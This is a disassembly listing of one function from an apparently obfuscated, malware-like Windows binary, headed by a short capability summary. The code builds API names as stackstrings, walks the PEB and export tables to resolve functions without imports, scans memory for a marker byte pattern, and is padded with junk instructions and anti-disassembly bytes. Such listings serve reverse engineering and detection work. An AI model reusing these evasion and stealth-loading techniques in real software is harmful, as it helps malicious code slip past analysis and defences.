Function at 0x49a61d
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Parse pe header

Disassembly:
add esp, 4
and ecx, 0xb4f4
pop ecx
push eax
and eax, 0x4b27
pop eax
mov byte [ebp - 0x198], 0x47
mov byte [ebp - 0x197], 0x65
mov byte [ebp - 0x196], 0x74
mov byte [ebp - 0x195], 0x4d
mov byte [ebp - 0x194], 0x6f
mov byte [ebp - 0x193], 0x64
mov byte [ebp - 0x192], 0x75
mov byte [ebp - 0x191], 0x6c
mov byte [ebp - 0x190], 0x65
mov byte [ebp - 0x18f], 0x48
mov byte [ebp - 0x18e], 0x61
mov byte [ebp - 0x18d], 0x6e
mov byte [ebp - 0x18c], 0x64
mov byte [ebp - 0x18b], 0x6c
mov byte [ebp - 0x18a], 0x65
mov byte [ebp - 0x189], 0x45
mov byte [ebp - 0x188], 0x78
mov byte [ebp - 0x187], 0x57
mov byte [ebp - 0x186], 0
mov ecx, dword [ebp - 0x4b0]
mov dword [ebp - 0x1b4], ecx
push ecx
and ecx, 0x17d1
jmp 0x49a6cd
xor ecx, 0x13e1a
add ecx, 0x16797
pop ecx
push eax
push edi
add esp, 4
call 0x49a6ee
add byte [edx], dh
aaa
aaa
inc eax
cmp dword [edx], esi
dec esi
inc esi
xor eax, 0x5804c483
push ebx
push esi
add esp, 4
and ebx, 0xc4de
xor ebx, 0x17414
pop ebx
push edx
call 0x49a714
add byte [ebx + 0x3c], cl
cmp byte [ebp + 0x3e], al
inc ebp
cmp eax, 0xc4833e4f
add al, 0x5a
push esi
push ebx
add esp, 4
sub esi, 0x122e6
pop esi
mov edx, dword fs:[0x18]
mov dword [ebp - 0x434], edx
push ebx
push ecx
add esp, 4
and ebx, 0xe98a
pop ebx
push esi
push eax
add esp, 4
or esi, 0x7397
pop esi
push ebx
sub ebx, 0xd3b1
sub ebx, 0x7c64
xor ebx, 0x1290d
sub ebx, 0x12fb5
pop ebx
mov eax, dword [ebp - 0x434]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x480], ecx
push edi
push ebx
add esp, 4
xor edi, 0x582b
and edi, 0x15243
jmp 0x49a788
or edi, 0x17e76
pop edi
push eax
push edi
add esp, 4
jmp 0x49a79d
or eax, 0xbd4d
pop eax
mov edx, dword [ebp - 0x480]
mov dword [ebp - 0x368], edx
cmp dword [ebp - 0x368], 0
jne 0x49a7f7
push ecx
or ecx, 0xca34
sub ecx, 0x152c6
pop ecx
push esi
push edi
add esp, 4
call 0x49a7db
add byte [edx + 0x41], cl
cmp eax, 0x404c3445
xor esi, dword [0x8104c483]
out dx, al
cdq
sbb eax, dword [ecx]
add byte [ecx + 0x3deee], al
add byte [esi - 0x39], bl
inc ebp
xchg esp, eax
add byte [eax], al
add byte [eax], al
jmp 0x49ab83
push edi
push edi
add esp, 4
add edi, 0x154d6
add edi, 0x133c3
pop edi
push esi
push ebx
add esp, 4
xor esi, 0x9241
or esi, 0xed1c
add esi, 0x324f
pop esi
push edx
xor edx, 0x66f4
pop edx
mov eax, dword [ebp - 0x368]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0x1ec], edx
cmp dword [ebp - 0x1ec], 0
jne 0x49a882
push esi
sub esi, 0xa1a4
sub esi, 0x74bc
jmp 0x49a857
pop esi
push esi
call 0x49a866
add byte [ebx + 0x4e], al
inc ebx
inc esi
inc ebx
cmp al, 0x33
add esp, 4
and esi, 0x185c4
and esi, 0xaec4
pop esi
mov dword [ebp - 0x6c], 0
jmp 0x49ab83
mov eax, dword [ebp - 0x1ec]
mov dword [ebp - 0xc4], eax
push ecx
or ecx, 0x17f1d
xor ecx, 0x15890
pop ecx
push edx
add edx, 0x102ed
pop edx
push esi
push edi
add esp, 4
call 0x49a8b6
add byte [0x344c4a3c], bh
cmp al, 0x3f
add esp, 4
add esi, 0x13443
pop esi
lea ecx, [ebp - 0x2b0]
mov dword [ebp - 0x1e8], ecx
mov edx, dword [ebp - 0xc4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x1e4], eax
push ecx
call 0x49a8e9
add byte [ebx + 0x34], cl
xor al, 0x33
push eax
inc ebx
add esp, 4
call 0x49a8fa
add byte [ebx], bh
inc eax
dec edx
dec edi
cmp al, 0x50
cmp esi, dword [ebx + eax*4]
les eax, [ecx + ebx*2]
push ecx
push edx
add esp, 4
jmp 0x49a90c
pop ecx
xor ecx, ecx
mov word [ebp - 0x54], cx
xor edx, edx
mov word [ebp - 8], dx
push eax
push esi
add esp, 4
xor eax, 0x16079
or eax, 0x16fba
or eax, 0x131df
pop eax
push edx
sub edx, 0x10fb5
pop edx
push edi
push ebx
add esp, 4
xor edi, 0x19f9
or edi, 0x17f57
pop edi
mov eax, dword [ebp - 0x1e4]
mov cx, word [eax]
mov word [ebp - 0x288], cx
mov edx, dword [ebp - 0x1e4]
add edx, 2
mov dword [ebp - 0x1e4], edx
mov ax, word [ebp - 0x288]
mov word [ebp - 0x54], ax
push ecx
add ecx, 0x7760
sub ecx, 0x512c
pop ecx
push ebx
jmp 0x49a989
xor ebx, 0x15927
sub ebx, 0x42de
call 0x49a9a3
add byte [0x48393534], bh
dec esp
inc esi
cmp eax, dword [ebx - 0x74a4fb3c]
lea ebx, [eax]
invalid
cmp dword [ebp - 0x6c], 0
jne 0x49b838
push esi
jmp 0x49ab93
pop esi
push ebx
and ebx, 0xa99c
pop ebx
push eax
push ecx
add esp, 4
jmp 0x49aba7
call 0x49abb5
add byte [edi], dh
inc edx
dec edx
inc esi
inc edx
inc ecx
cmp byte [edi], bh
add esp, 4
or eax, 0x1826
pop eax
mov edx, 0x6b
mov word [ebp - 0x3bc], dx
mov eax, 0x65
mov word [ebp - 0x3ba], ax
mov ecx, 0x72
mov word [ebp - 0x3b8], cx
mov edx, 0x6e
mov word [ebp - 0x3b6], dx
mov eax, 0x65
mov word [ebp - 0x3b4], ax
mov ecx, 0x6c
mov word [ebp - 0x3b2], cx
mov edx, 0x33
mov word [ebp - 0x3b0], dx
mov eax, 0x32
mov word [ebp - 0x3ae], ax
mov ecx, 0x2e
mov word [ebp - 0x3ac], cx
mov edx, 0x64
mov word [ebp - 0x3aa], dx
mov eax, 0x6c
mov word [ebp - 0x3a8], ax
mov ecx, 0x6c
mov word [ebp - 0x3a6], cx
xor edx, edx
mov word [ebp - 0x3a4], dx
push ebx
push edi
add esp, 4
and ebx, 0x7ca1
add ebx, 0x10ab
pop ebx
push edi
push esi
add esp, 4
add edi, 0x75fd
xor edi, 0x594f
and edi, 0x16271
pop edi
push esi
or esi, 0xebfb
pop esi
mov byte [ebp - 0x154], 0x4c
mov byte [ebp - 0x153], 0x6f
mov byte [ebp - 0x152], 0x61
mov byte [ebp - 0x151], 0x64
mov byte [ebp - 0x150], 0x4c
mov byte [ebp - 0x14f], 0x69
mov byte [ebp - 0x14e], 0x62
mov byte [ebp - 0x14d], 0x72
mov byte [ebp - 0x14c], 0x61
mov byte [ebp - 0x14b], 0x72
mov byte [ebp - 0x14a], 0x79
mov byte [ebp - 0x149], 0x57
mov byte [ebp - 0x148], 0
push ebx
push eax
add esp, 4
add ebx, 0x5490
add ebx, 0xe1df
and ebx, 0x31d1
pop ebx
push esi
sub esi, 0x11da3
xor esi, 0x645c
xor esi, 0xc582
and esi, 0xa3ce
pop esi
push edx
jmp 0x49ad20
or edx, 0x120c
jmp 0x49ad2f
add edx, 0x3f6f
pop edx
push eax
sub eax, 0x593c
jmp 0x49ad42
and eax, 0x9e43
pop eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x484], eax
push edi
push eax
add esp, 4
and edi, 0x968b
add edi, 0x1150c
add edi, 0xd5e1
pop edi
push ebx
add ebx, 0x5a18
xor ebx, 0x48ed
add ebx, 0x3972
push ecx
push ebx
add esp, 4
or ecx, 0x8c21
pop ecx
push ecx
xor ecx, 0xc0ba
pop ecx
push ebx
push ecx
add esp, 4
jmp 0x49b857
sub ebx, 0x16c26
sub ebx, 0x8baa
or ebx, 0x147f8
pop ebx
push ebx
add ebx, 0x9c93
xor ebx, 0x12ae5
pop ebx
push eax
add eax, 0x32b9
pop eax
push edi
call 0x49b88d
add byte [esi + ecx*2 + 0x32], al
cmp byte [eax], bh
xor eax, 0x8104c483
imul dword [eax - 0x14fffeef]
add eax, dword [ebx + 0x37]
inc esp
pop edi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x4a4], eax
push edx
push edi
add esp, 4
jmp 0x49b8b5
add edx, 0x594f
and edx, 0xd641
add edx, 0x1666f
pop edx
push edx
push eax
add esp, 4
and edx, 0x36c
add edx, 0x6720
pop edx
mov ecx, dword [ebp - 0x4a4]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x3dc], edx
push ecx
add ecx, 0x18e9
jmp 0x49b8f7
call 0x49b906
add byte [esp + esi + 0x50], cl
dec ecx
inc esp
dec esp
cmp ecx, dword [esi + 0x3f]
add esp, 4
call 0x49b917
add byte [eax + 0x40], dl
inc ebx
cmp al, 0x37
inc edi
cmp eax, 0x5904c483
mov eax, dword [ebp - 0x3dc]
mov dword [ebp - 0x2b8], eax
cmp dword [ebp - 0x2b8], 0
jne 0x49b96e
push ecx
push edx
add esp, 4
or ecx, 0x1320f
or ecx, 0x137ee
xor ecx, 0xd9d2
pop ecx
push ecx
sub ecx, 0x52b7
sub ecx, 0xebb6
and ecx, 0x8a38
sub ecx, 0xdeb1
pop ecx
mov dword [ebp - 0x6c], 0
jmp 0x49bcfa
push ebx
push edx
add esp, 4
jmp 0x49b97c
or ebx, 0x133fe
pop ebx
push edx
or edx, 0x4c44
add edx, 0xeebc
jmp 0x49b997
pop edx
push edx
and edx, 0xa0bc
pop edx
mov ecx, dword [ebp - 0x2b8]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 0
jne 0x49b9f9
push ecx
or ecx, 0x5ee
call 0x49b9d2
add byte [edi + edi], bh
inc edi
xor eax, 0x34344146
push eax
cmp byte [ebx - 0x167efb3c], al
test dword [ebx], edx
add byte [eax], al
jmp 0x49b9e0
pop ecx
push edi
push edi
add esp, 4
and edi, 0x2c11
pop edi
mov dword [ebp - 0x6c], 0
jmp 0x49bcfa
mov ecx, dword [ebp - 0x208]
mov dword [ebp - 0xc8], ecx
push ebx
push ebx
add esp, 4
xor ebx, 0x17f1e
add ebx, 0x36e5
pop ebx
push edx
push esi
add esp, 4
or edx, 0x87c9
pop edx
push esi
sub esi, 0x10440
pop esi
push eax
push ebx
add esp, 4
and eax, 0x16150
pop eax
lea edx, [ebp - 0x2b0]
mov dword [ebp - 0x204], edx
mov eax, dword [ebp - 0xc8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x200], ecx
push edi
push ebx
add esp, 4
sub edi, 0x15f23
out dx, eax
and ebx, dword [edi + 1]
add bl, ch
invalid
call 0x49ba70
add byte [eax], bh
inc ecx
dec ebp
dec ecx
xor bh, byte [eax]
add esp, 4
add edi, 0xd176
pop edi
push edi
jmp 0x49ba83
pop edi
xor edx, edx
mov word [ebp - 0x5c], dx
xor eax, eax
mov word [ebp - 0x10], ax
push ecx
push ecx
add esp, 4
call 0x49baa1
add byte [edi + 0x3b], al
cmp al, 0x4d
aas
push eax
push ecx
add esp, 4
xor eax, 0x5680
sub eax, 0xaf6d
pop eax
push eax
push ecx
add esp, 4
xor eax, 0xe68a
xor eax, 0x92f2
and eax, 0x11ea9
jmp 0x49bd2b
pop eax
mov eax, dword [ebp - 0x6c]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x88], ecx
push eax
push eax
add esp, 4
or eax, 0x1ebb
xor eax, 0x14a4f
and eax, 0x9812
xor eax, 0x150bd
pop eax
push ecx
xor ecx, 0x5b11
pop ecx
push edx
push eax
add esp, 4
sub edx, 0xf673
pop edx
mov dword [ebp - 0x138], 0
push edi
xor edi, 0x242e
xor edi, 0x2b9a
or edi, 0xe5ad
sub edi, 0x213a
pop edi
push edx
push eax
add esp, 4
xor edx, 0x3c47
add edx, 0x27a
and edx, 0x81a8
pop edx
mov edx, dword [ebp - 0x88]
mov dword [ebp - 0x2c4], edx
cmp dword [ebp - 0x2c4], 0
jne 0x49bdfe
push eax
push esi
add esp, 4
sub eax, 0x1cf
or eax, 0xb084
xor eax, 0x1825a
pop eax
push edx
push edx
add esp, 4
add edx, 0x740f
and edx, 0x12575
jmp 0x49bdec
pop edx
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x9c], eax
jmp 0x49c2ed
mov ecx, dword [ebp - 0x2c4]
mov edx, dword [ebp - 0x88]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x2c8], edx
jne 0x49be26
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x9c], eax
jmp 0x49c2ed
push edx
xor edx, 0x11b92
pop edx
push edi
sub edi, 0x4728
call 0x49be41
add byte [esi + 0x4c], cl
dec ecx
inc esi
cmp eax, 0x4c4833a
call 0x49be54
add byte [ebx], bh
aaa
cmp al, byte [esi + 0x38]
inc esp
dec edx
inc eax
inc eax
cmp al, 0x83
les eax, [edi + ebx*2]
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x2c8]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x2cc], ecx
cmp dword [ebp - 0x2cc], 0
jne 0x49bebc
push edi
push ebx
add esp, 4
xor edi, 0xa608
pop edi
push edx
push ebx
add esp, 4
or edx, 0x14b98
add edx, 0xb50c
pop edx
push ecx
push edx
add esp, 4
add ecx, 0x14a8
pop ecx
push edi
or edi, 0x10151
pop edi
mov edx, dword [ebp - 0x138]
mov dword [ebp - 0x9c], edx
jmp 0x49c2ed
push eax
jmp 0x49bec5
jmp 0x49beca
and eax, 0x68da
pop eax
push edx
push ecx
add esp, 4
sub edx, 0xee7
jmp 0x49bee1
or edx, 0xad03
and edx, 0x101bf
pop edx
mov eax, dword [ebp - 0x88]
add eax, dword [ebp - 0x2cc]
mov dword [ebp - 0x12c], eax
jne 0x49bf45
push ecx
push ecx
add esp, 4
jmp 0x49bf0d
or ecx, 0x75e8
sub ecx, 0x4490
pop ecx
push ebx
add ebx, 0x14ba8
xor ebx, 0x17be0
add ebx, 0x10765
sub ebx, 0x1389d
pop ebx
mov ecx, dword [ebp - 0x138]
mov dword [ebp - 0x9c], ecx
jmp 0x49c2ed
mov edx, dword [ebp - 0x12c]
mov eax, dword [ebp - 0x88]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x3e0], eax
push eax
push esi
add esp, 4
jmp 0x49bf65
pop eax
push ecx
push edx
add esp, 4
or ecx, 0x9424
add ecx, 0x12e78
and ecx, 0x16786
add ecx, 0x9477
pop ecx
push ebx
or ebx, 0xf56e
pop ebx
mov ecx, dword [ebp - 0x12c]
mov edx, dword [ebp - 0x88]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x3e4], edx
push ecx
push ecx
add esp, 4
and ecx, 0x12761
pop ecx
push edi
push ebx
add esp, 4
sub edi, 0x138d0
pop edi
push edi
push ebx
add esp, 4
and edi, 0xe6cc
pop edi
push ecx
sub ecx, 0x3dea
sub ecx, 0xf9fa
pop ecx
mov eax, dword [ebp - 0x12c]
mov ecx, dword [ebp - 0x88]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x3e8], ecx
mov dword [ebp - 0x130], 0
jmp 0x49c003
mov edx, dword [ebp - 0x130]
add edx, 1
mov dword [ebp - 0x130], edx
mov eax, dword [ebp - 0x12c]
mov ecx, dword [ebp - 0x130]
cmp ecx, dword [eax + 0x18]
jae 0x49c2e1
push eax
push esi
add esp, 4
sub eax, 0xfd47
sub eax, 0x13311
add eax, 0x26e2
pop eax
push eax
and eax, 0xc6a5
sub eax, 0x30f4
sub eax, 0x66eb
and eax, 0x1cc6
pop eax
mov edx, dword [ebp - 0x130]
mov eax, dword [ebp - 0x3e0]
mov ecx, dword [ebp - 0x88]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x134], ecx
push edx
push ebx
add esp, 4
call 0x49c079
add byte [eax], bh
inc eax
inc edx
dec esi
dec ebp
cmp cl, byte [eax + 0x50]
add esp, 4
sub edx, 0x163f2
pop edx
push edi
sub edi, 0xf08c
add edi, 0xbe05
and edi, 0x11bc1
pop edi
mov edx, dword [ebp - 0x130]
mov eax, dword [ebp - 0x3e4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x3e8]
mov eax, dword [ebp - 0x88]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x3ec], eax
push esi
push ecx
add esp, 4
or esi, 0xba1
sub esi, 0x4681
jmp 0x49c0d3
pop esi
push eax
or eax, 0xdee0
sub eax, 0x2a7f
and eax, 0x10267
sub eax, 0x16a1b
pop eax
mov dword [ebp - 0x30], 0
jmp 0x49c100
mov edx, dword [ebp - 0x134]
add edx, dword [ebp - 0x30]
movsx eax, byte [edx]
test eax, eax
je 0x49c19c
mov ecx, dword [ebp - 0x30]
movsx edx, byte [ebp + ecx - 0x198]
test edx, edx
je 0x49c19c
push edi
call 0x49c131
add byte [edi], bh
cmp dword [ebx + 0x39], eax
xor al, byte [esp + esi - 0x7d]
les eax, [edi + ebx*2]
push ecx
sub ecx, 0x16543
pop ecx
push ecx
push esi
add esp, 4
call 0x49c151
add byte [edx + eax*2], bh
cmp dword [esi + 0x3e], eax
dec esp
inc esi
cmp byte [ebx - 0x74a6fb3c], al
test esp, ecx
invalid
push edi
push ecx
add esp, 4
call 0x49c1b0
add byte [ebx], bh
inc ebp
dec esi
cmp bh, byte [edi]
inc edx
xor edi, dword [esi]
dec ecx
add esp, 4
sub edi, 0x3d8e
and edi, 0xb4e0
pop edi
push ebx
add ebx, 0x14ab2
add ebx, 0x87af
pop ebx
mov edx, dword [ebp - 0x134]
add edx, dword [ebp - 0x30]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x30]
movsx edx, byte [ebp + ecx - 0x198]
cmp eax, edx
jne 0x49c1f8
mov dword [ebp - 0x20c], 0
jmp 0x49c293
push edx
add edx, 0xd082
or edx, 0x3b49
sub edx, 0x16206
and edx, 0xa39d
pop edx
push edx
push edx
add esp, 4
jmp 0x49c21d
pop edx
push eax
push ecx
add esp, 4
and eax, 0x13ae9
pop eax
mov eax, dword [ebp - 0x134]
add eax, dword [ebp - 0x30]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x30]
movsx eax, byte [ebp + edx - 0x198]
or eax, 0x20
cmp ecx, eax
jge 0x49c257
mov dword [ebp - 0x20c], 0xffffffff
jmp 0x49c293
push edx
push ecx
add esp, 4
call 0x49c268
add byte [ebx], dh
xor al, 0x43
dec edx
aas
add esp, 4
call 0x49c279
add byte [edx], dh
cmp al, 0x40
inc ebx
inc ebx
dec edi
inc edx
inc esi
add esp, 4
xor edx, 0xa349
xor edx, 0x79a5
pop edx
mov dword [ebp - 0x20c], 1
cmp dword [ebp - 0x20c], 0
jne 0x49c2dc
push edi
push esi
add esp, 4
xor edi, 0x1672
jmp 0x49c2ad
or edi, 0x5ed6
pop edi
push esi
sub esi, 0x1336d
call 0x49c2ca
add byte [ebp + 0x4b], al
cmp dword [edx + 0x35], eax
aaa
dec ebp
add esp, 4
pop esi
mov ecx, dword [ebp - 0x3ec]
mov dword [ebp - 0x9c], ecx
jmp 0x49c2ed
invalid
jmp 0x49bff4
mov edx, dword [ebp - 0x138]
mov dword [ebp - 0x9c], edx
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x1b4], eax
lea ecx, [ebp - 0x1b0]
push ecx
mov edx, dword [ebp + 4]
push edx
push 6
call dword [ebp - 0x1b4]
test eax, eax
jne 0x49c347
push eax
call 0x49c320
add byte [ebp + edi + 0x46], al
cmp cl, byte [edx + 0x4c]
inc eax
cmp al, byte [ebp - 0x7d]
les eax, [ecx + eax*4]
loopne 0x49c2d6
add byte [eax], al
pop eax
push eax
jmp 0x49c333
jmp 0x49c33b
or eax, 0xf1d1
pop eax
jmp 0x49ed14
push edi
push esi
add esp, 4
sub edi, 0x12290
sub edi, 0x13b36
or edi, 0x15a71
pop edi
push ecx
and ecx, 0x1fd
xor ecx, 0x8b6
sub ecx, 0x65e2
add ecx, 0x54d4
pop ecx
cmp dword [ebp - 0x1b0], 0
je 0x49ed05
push ebx
push esi
add esp, 4
or ebx, 0xb9eb
and ebx, 0x15f76
and ebx, 0x12072
xor ebx, 0x862c
pop ebx
push esi
sub esi, 0x18153
or esi, 0x121e7
xor esi, 0x177c6
pop esi
mov eax, dword [ebp - 0x1b0]
mov dword [ebp - 0x210], eax
push edi
xor edi, 0x28bb
and edi, 0x11bf6
and edi, 0x5b40
pop edi
push eax
xor eax, 0xdd03
pop eax
push ecx
jmp 0x49c3e7
xor ecx, 0x20f4
pop ecx
push edx
or edx, 0xbd0e
pop edx
cmp dword [ebp - 0x210], 0
jne 0x49c436
push edx
jmp 0x49c408
add edx, 0x74fd
pop edx
push edi
add edi, 0x4322
sub edi, 0xceea
pop edi
push eax
or eax, 0xf436
or eax, 0x13871
sub eax, 0x160dd
pop eax
jmp 0x49ed14
push eax
and eax, 0x11f9f
pop eax
push ebx
sub ebx, 0x30b2
add ebx, 0x740e
pop ebx
push edi
push eax
add esp, 4
call 0x49c45e
add byte [ebx + 0x4d], al
aas
dec esp
cmp edi, dword [edx]
cmp dword [ebx - 0x87efb3c], eax
lahf
push ebp
add byte [eax], al
pop edi
mov ecx, dword [ebp - 0x210]
mov edx, dword [ebp - 0x210]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x2d0], edx
jne 0x49c4b6
push ecx
push eax
add esp, 4
or ecx, 0x143d1
or ecx, 0x657f
sub ecx, 0x13908
pop ecx
push ebx
push edx
add esp, 4
and ebx, 0xf827
or ebx, 0x11b
jmp 0x49c4b0
pop ebx
jmp 0x49ed14
mov eax, dword [ebp - 0x2d0]
mov ecx, dword [eax + 0x50]
mov dword [ebp - 0x3f0], ecx
push esi
add esi, 0x83a1
xor esi, 0x132c4
add esi, 0x1e57
pop esi
push edi
push ebx
add esp, 4
or edi, 0xed97
or edi, 0x4623
or edi, 0x29f2
add edi, 0xa6e
pop edi
mov edx, dword [ebp - 0x1b0]
mov dword [ebp - 0x218], edx
push edx
add edx, 0x169b4
pop edx
push esi
push eax
add esp, 4
or esi, 0xb495
xor esi, 0x3847
sub esi, 0x135f
xor esi, 0x1ff
pop esi
push esi
push edx
add esp, 4
sub esi, 0x710f
pop esi
mov eax, dword [ebp - 0x218]
add eax, dword [ebp - 0x3f0]
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x218], 0
je 0x49ed05
cmp dword [ebp - 0x22c], 0
je 0x49ed05
push edx
and edx, 0xb4cc
or edx, 0xc0df
add edx, 0x9e9c
pop edx
push eax
call 0x49c582
add byte [edx + 0x44], cl
cmp bh, byte [eax]
inc edx
inc edx
add esp, 4
jmp 0x49c58c
sub eax, 0x238c
pop eax
mov byte [ebp - 0x285], 7
mov byte [ebp - 1], 2
jmp 0x49c5a9
mov cl, byte [ebp - 1]
add cl, 1
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
cmp edx, 7
jge 0x49ed03
push eax
push esi
add esp, 4
jmp 0x49c5c2
or eax, 0x3e42
jmp 0x49c5ce
pop eax
push ebx
jmp 0x49c5d9
or ebx, 0xef84
pop ebx
push edx
add edx, 0x14261
pop edx
mov byte [ebp - 0x1c8], 0xde
mov byte [ebp - 0x1c7], 0xde
mov byte [ebp - 0x1c6], 0xee
mov byte [ebp - 0x1c5], 0xee
mov byte [ebp - 0x1c4], 0xde
mov byte [ebp - 0x1c3], 0xde
mov byte [ebp - 0x1c2], 0xee
mov byte [ebp - 0x1c1], 0xee
mov byte [ebp - 0x1c0], 0xcc
mov byte [ebp - 0x1bf], 0xcc
mov byte [ebp - 0x1be], 0
push esi
push eax
add esp, 4
sub esi, 0x8341
pop esi
push eax
xor eax, 0xefab
pop eax
push esi
push edx
add esp, 4
add esi, 0x17a10
or esi, 0xca5b
and esi, 0x3d14
add esi, 0x12167
pop esi
mov eax, 1
imul ecx, eax, 0
mov dl, byte [ebp - 1]
mov byte [ebp + ecx - 0x1be], dl
push eax
push ebx
add esp, 4
call 0x49c68a
add byte [ebx + 0x36], al
dec eax
xor eax, 0xc4833736
add al, 0x81
shr byte [eax - 0x17ffffde], 7
add byte [eax], al
add byte [eax], al
dec eax
inc ecx
inc ecx
dec esp
xor edi, dword [ecx]
add esp, 4
pop eax
push ecx
or ecx, 0x101d
pop ecx
mov dword [ebp - 0x4b8], 0xb
mov byte [ebp - 0x1a4], 0x8b
mov byte [ebp - 0x1a3], 0xe5
mov byte [ebp - 0x1a2], 0x5d
mov byte [ebp - 0x1a1], 0xc3
push edi
or edi, 0x38a9
sub edi, 0x6a59
and edi, 0x24aa
pop edi
push edi
or edi, 0x12873
jmp 0x49c6f5
add edi, 0x5bc2
jmp 0x49c702
pop edi
mov dword [ebp - 0x4b4], 4
mov dword [ebp - 0x34], 0
mov dword [ebp - 0xcc], 0
mov dword [ebp - 0x328], 0
mov dword [ebp - 0x214], 0
jmp 0x49c743
mov eax, dword [ebp - 0x214]
add eax, 1
mov dword [ebp - 0x214], eax
push ecx
push esi
add esp, 4
sub ecx, 0x16626
and ecx, 0x15a4
sub ecx, 0xecc
add ecx, 0x147e9
pop ecx
push edi
push edx
add esp, 4
xor edi, 0x348b
pop edi
push ebx
xor ebx, 0x7ce8
pop ebx
mov ecx, dword [ebp - 0x214]
add ecx, dword [ebp - 0x218]
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x34]
cmp edx, dword [ebp - 0x22c]
jb 0x49c7c6
push ecx
and ecx, 0x13b44
call 0x49c7a6
add byte [ebp + 0x50], al
dec ebx
dec edi
dec ecx
cmp byte [ebp + 0x42], al
cmp eax, 0x4c48342
pop ecx
push eax
xor eax, 0xd19
call 0x49c7bd
add byte [eax + 0x32], al
dec ecx
xor eax, 0x4c4834b
pop eax
jmp 0x49ce7d
mov dword [ebp - 0x21c], 0xb
mov eax, 1
imul ecx, eax, 0
lea edx, [ebp + ecx - 0x1c8]
mov dword [ebp - 0x2d4], edx
push edi
push esi
add esp, 4
jmp 0x49c7ef
or edi, 0x5fd4
pop edi
push edi
push ebx
add esp, 4
jmp 0x49c804
add edi, 0x16c7e
xor edi, 0x574d
xor edi, 0xb193
pop edi
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x1ac], eax
push ebx
jmp 0x49c826
and ebx, 0xbba9
or ebx, 0x11c91
pop ebx
push ecx
push ebx
add esp, 4
or ecx, 0x1530a
pop ecx
push ebx
sub ebx, 0x13fcf
jmp 0x49c84b
sub ebx, 0xa11b
pop ebx
mov ecx, dword [ebp - 0x2d4]
mov dword [ebp - 0x1a8], ecx
mov dword [ebp - 0x220], 0
push ecx
push eax
add esp, 4
sub ecx, 0xf2a3
sub ecx, 0x475d
xor ecx, 0x83a7
pop ecx
push eax
add eax, 0x939c
sub eax, 0x14318
add eax, 0x27cb
sub eax, 0x17595
pop eax
mov edx, dword [ebp - 0x34]
cmp edx, dword [ebp - 0x2d4]
jne 0x49c8e8
push edx
add edx, 0x536c
pop edx
push edi
jmp 0x49c8b4
pop edi
push esi
push edi
add esp, 4
or esi, 0x691b
pop esi
push esi
sub esi, 0x10c99
pop esi
push esi
xor esi, 0x7183
xor esi, 0x42c4
pop esi
mov eax, dword [ebp - 0x220]
mov dword [ebp - 0x2dc], eax
jmp 0x49ca80
cmp dword [ebp - 0x21c], 0
jle 0x49ca42
push esi
push ebx
add esp, 4
xor esi, 0xd605
add esi, 0x7eca
call 0x49c912
add byte [ebp + 0x40], cl
dec eax
inc ecx
xor eax, 0x4c48339
pop esi
push ecx
add ecx, 0xf607
jmp 0x49c926
pop ecx
mov ecx, dword [ebp - 0x1ac]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x1a8]
movzx ecx, byte [eax]
cmp edx, ecx
je 0x49c9ac
push esi
xor esi, 0x6783
sub esi, 0x14361
and esi, 0x1170
jmp 0x49c956
pop esi
push ecx
push edx
add esp, 4
and ecx, 0x8ac3
and ecx, 0x14781
xor ecx, 0xae21
pop ecx
mov edx, dword [ebp - 0x1ac]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x1a8]
movzx edx, byte [ecx]
cmp eax, edx
jle 0x49c991
mov dword [ebp - 0x2d8], 1
jmp 0x49c99b
mov dword [ebp - 0x2d8], 0xffffffff
mov eax, dword [ebp - 0x2d8]
mov dword [ebp - 0x220], eax
jmp 0x49ca42
push ecx
xor ecx, 0xd2fb
and ecx, 0x9944
or ecx, 0x70e6
sub ecx, 0x3f25
pop ecx
push edi
jmp 0x49c9d0
jmp 0x49c9d7
add edi, 0xe064
pop edi
mov ecx, dword [ebp - 0x21c]
sub ecx, 1
mov dword [ebp - 0x21c], ecx
mov edx, dword [ebp - 0x1ac]
add edx, 1
mov dword [ebp - 0x1ac], edx
push ecx
push edx
add esp, 4
xor ecx, 0x2cb0
pop ecx
push esi
call 0x49ca17
add byte [ecx], bh
push eax
dec esi
inc ecx
inc ebp
xor cl, byte [edx + 0x3f]
add esp, 4
and esi, 0xed2e
or esi, 0x17268
jmp 0x49ca2d
pop esi
mov eax, dword [ebp - 0x1a8]
add eax, 1
mov dword [ebp - 0x1a8], eax
jmp 0x49c8e8
push esi
push edx
add esp, 4
jmp 0x49ca4d
jmp 0x49ca53
and esi, 0x6b33
pop esi
push ebx
push edx
add esp, 4
sub ebx, 0xf6d6
pop ebx
push edi
sub edi, 0x1944
xor edi, 0xff78
pop edi
mov ecx, dword [ebp - 0x220]
mov dword [ebp - 0x2dc], ecx
cmp dword [ebp - 0x2dc], 0
jne 0x49ce78
push esi
